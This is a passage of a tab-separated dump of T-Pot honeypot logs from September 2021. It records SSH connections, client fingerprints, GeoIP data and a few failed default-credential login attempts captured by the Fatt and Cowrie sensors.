"ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
27264	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:13:49.958228+03	2021-09-20 14:15:14.349645+03	{"_id": "KwbpAnwBvYTbRNuEhCYN", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "27.69.246.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 32962, "timestamp": "2021-09-20T11:13:49.958228", "@timestamp": "2021-09-20T11:13:49.958Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
27265	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:13:50.380031+03	2021-09-20 14:15:14.351646+03	{"_id": "SgbpAnwBvYTbRNuEhyb4", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.110.220.49", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 38504, "timestamp": "2021-09-20T11:13:50.380031", "@timestamp": "2021-09-20T11:13:50.380Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
27266	116.110.220.49	109.199.241.180	Fatt	2021-09-20 14:13:50.67203+03	2021-09-20 14:15:14.352646+03	{"_id": "TAbpAnwBvYTbRNuEhyb6", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "116.110.220.49", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 38504, "dest_port": 22, "timestamp": "2021-09-20T11:13:50.672030", "@timestamp": "2021-09-20T11:13:50.672Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
27267	13.75.108.119	109.199.241.180	Fatt	2021-09-20 14:13:51.201667+03	2021-09-20 14:15:14.353644+03	{"_id": "TQbpAnwBvYTbRNuEhyb6", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "13.75.108.119", "asn": 8075, "as_org": "Microsoft Corporation", "latitude": 22.2909, "location": {"lat": 22.2909, "lon": 114.15}, "timezone": "Asia/Hong_Kong", "city_name": "Central", "longitude": 114.15, "region_code": "HCW", "region_name": "Central and Western District", "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "src_ip": "13.75.108.119", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-1.3.132.0.10,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,diffie-hellman-group16-sha512,diffie-hellman-group15-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "rsa-sha2-512,rsa-sha2-256,ssh-ed25519,ecdsa-sha2-1.3.132.0.10,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ssh-rsa,ssh-dss", "hassh": "63bec3855e65ea71385ce2634bf2f234", "ccacts": "none,zlib", "ccastc": "none,zlib", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,3des-ctr", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,3des-ctr", "client": "SSH-2.0-8.35 FlowSsh: FlowSshNet_SftpStress127.99.16.6712525109.199.241.180", "cmacts": "hmac-sha2-256,hmac-sha1", "cmastc": "hmac-sha2-256,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-1.3.132.0.10,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,diffie-hellman-group16-sha512,diffie-hellman-group15-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,3des-ctr;hmac-sha2-256,hmac-sha1;none,zlib"}, "protocol": "ssh", "src_port": 59491, "dest_port": 22, "timestamp": "2021-09-20T11:13:51.201667", "@timestamp": "2021-09-20T11:13:51.201Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
27268	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:13:50.728865+03	2021-09-20 14:15:14.355644+03	{"_id": "TgbpAnwBvYTbRNuEiCaz", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 27.69.246.93:40766 (192.168.176.2:22) [session: 47fb2b6799e2]", "session": "47fb2b6799e2", "@version": "1", "protocol": "ssh", "src_port": 40766, "dest_port": 22, "timestamp": "2021-09-20T11:13:50.728865Z", "@timestamp": "2021-09-20T11:13:50.728Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
27269	13.75.108.119	109.199.241.180	Cowrie	2021-09-20 14:13:50.985068+03	2021-09-20 14:15:14.356646+03	{"_id": "TwbpAnwBvYTbRNuEiCaz", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "13.75.108.119", "asn": 8075, "as_org": "Microsoft Corporation", "latitude": 22.2909, "location": {"lat": 22.2909, "lon": 114.15}, "timezone": "Asia/Hong_Kong", "city_name": "Central", "longitude": 114.15, "region_code": "HCW", "region_name": "Central and Western District", "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "13.75.108.119", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 13.75.108.119:59491 (192.168.176.2:22) [session: 5d72388d9020]", "session": "5d72388d9020", "@version": "1", "protocol": "ssh", "src_port": 59491, "dest_port": 22, "timestamp": "2021-09-20T11:13:50.985068Z", "@timestamp": "2021-09-20T11:13:50.985Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
27270	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:13:50.731718+03	2021-09-20 14:15:14.357647+03	{"_id": "VAbpAnwBvYTbRNuEiCaz", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "47fb2b6799e2", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:13:50.731718Z", "@timestamp": "2021-09-20T11:13:50.731Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
27271	13.75.108.119	109.199.241.180	Cowrie	2021-09-20 14:13:50.988034+03	2021-09-20 14:15:14.358646+03	{"_id": "VQbpAnwBvYTbRNuEiCaz", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "13.75.108.119", "asn": 8075, "as_org": "Microsoft Corporation", "latitude": 22.2909, "location": {"lat": 22.2909, "lon": 114.15}, "timezone": "Asia/Hong_Kong", "city_name": "Central", "longitude": 114.15, "region_code": "HCW", "region_name": "Central and Western District", "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "13.75.108.119", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-8.35 FlowSsh: FlowSshNet_SftpStress127.99.16.6712525109.199.241.180'", "session": "5d72388d9020", "version": "b'SSH-2.0-8.35 FlowSsh: FlowSshNet_SftpStress127.99.16.6712525109.199.241.180'", "@version": "1", "timestamp": "2021-09-20T11:13:50.988034Z", "@timestamp": "2021-09-20T11:13:50.988Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
27272	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:13:51.015463+03	2021-09-20 14:15:14.359646+03	{"_id": "VgbpAnwBvYTbRNuEiCaz", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "47fb2b6799e2", "@version": "1", "timestamp": "2021-09-20T11:13:51.015463Z", "@timestamp": "2021-09-20T11:13:51.015Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
27273	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:13:51.029896+03	2021-09-20 14:15:14.361646+03	{"_id": "VwbpAnwBvYTbRNuEiCaz", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "a4271fb33a4e", "@version": "1", "duration": 2.9241816997528076, "timestamp": "2021-09-20T11:13:51.029896Z", "@timestamp": "2021-09-20T11:13:51.029Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
27308	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:14:01.44181+03	2021-09-20 14:15:14.407675+03	{"_id": "2AbpAnwBvYTbRNuErybK", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.login.failed", "message": "login attempt [book/book] failed", "session": "4e8db495af9f", "@version": "1", "password": "book", "username": "book", "timestamp": "2021-09-20T11:14:01.441810Z", "@timestamp": "2021-09-20T11:14:01.441Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
27274	13.75.108.119	109.199.241.180	Cowrie	2021-09-20 14:13:51.202495+03	2021-09-20 14:15:14.362646+03	{"_id": "WAbpAnwBvYTbRNuEiCaz", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "3des-ctr"], "geoip": {"ip": "13.75.108.119", "asn": 8075, "as_org": "Microsoft Corporation", "latitude": 22.2909, "location": {"lat": 22.2909, "lon": 114.15}, "timezone": "Asia/Hong_Kong", "city_name": "Central", "longitude": 114.15, "region_code": "HCW", "region_name": "Central and Western District", "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "hassh": "63bec3855e65ea71385ce2634bf2f234", "macCS": ["hmac-sha2-256", "hmac-sha1"], "compCS": ["none", "zlib"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "13.75.108.119", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-1.3.132.0.10", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "diffie-hellman-group16-sha512", "diffie-hellman-group15-sha512", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "ext-info-c"], "keyAlgs": ["rsa-sha2-512", "rsa-sha2-256", "ssh-ed25519", "ecdsa-sha2-1.3.132.0.10", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: 63bec3855e65ea71385ce2634bf2f234", "session": "5d72388d9020", "@version": "1", "timestamp": "2021-09-20T11:13:51.202495Z", "@timestamp": "2021-09-20T11:13:51.202Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-1.3.132.0.10,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,diffie-hellman-group16-sha512,diffie-hellman-group15-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,3des-ctr;hmac-sha2-256,hmac-sha1;none,zlib"}}	1	\N	cowrie.client.kex	\N	\N	\N
27275	13.75.108.119	109.199.241.180	Cowrie	2021-09-20 14:13:51.651038+03	2021-09-20 14:15:14.363646+03	{"_id": "WQbpAnwBvYTbRNuEiCaz", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "13.75.108.119", "asn": 8075, "as_org": "Microsoft Corporation", "latitude": 22.2909, "location": {"lat": 22.2909, "lon": 114.15}, "timezone": "Asia/Hong_Kong", "city_name": "Central", "longitude": 114.15, "region_code": "HCW", "region_name": "Central and Western District", "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "13.75.108.119", "eventid": "cowrie.login.failed", "message": "login attempt [user/user] failed", "session": "5d72388d9020", "@version": "1", "password": "user", "username": "user", "timestamp": "2021-09-20T11:13:51.651038Z", "@timestamp": "2021-09-20T11:13:51.651Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
